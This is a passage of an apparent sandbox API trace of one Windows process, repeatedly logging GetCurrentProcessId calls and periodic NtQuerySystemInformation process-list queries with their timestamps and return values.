[0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.801] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.802] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0266.803] GetCurrentProcessId () returned 0x10c0 [0267.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1db10) returned 0x0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.314] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.315] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.316] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.317] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.318] GetCurrentProcessId () returned 0x10c0 [0267.319] GetCurrentProcessId () returned 0x10c0 [0267.319] GetCurrentProcessId () returned 0x10c0 [0267.319] GetCurrentProcessId () returned 0x10c0 [0267.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.857] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.858] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.859] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.860] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0267.861] GetCurrentProcessId () returned 0x10c0 [0268.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0268.380] GetCurrentProcessId () returned 0x10c0 [0268.380] GetCurrentProcessId () returned 0x10c0 [0268.380] GetCurrentProcessId () returned 0x10c0 [0268.380] GetCurrentProcessId () returned 0x10c0 [0268.380] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.381] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.382] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.383] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.384] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.385] GetCurrentProcessId () returned 0x10c0 [0268.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dc00) returned 0x0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.910] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.911] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.912] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.913] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0268.914] GetCurrentProcessId () returned 0x10c0 [0269.428] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x124815b0, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x124815b0, ResultLength=0x1b7becb0*=0x1dbb0) returned 0x0 [0269.435] GetCurrentProcessId () returned 0x10c0 [0269.435] GetCurrentProcessId () returned 0x10c0 [0269.435] GetCurrentProcessId () returned 0x10c0 [0269.435] GetCurrentProcessId () returned 0x10c0 [0269.435] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] GetCurrentProcessId () returned 0x10c0 [0269.436] 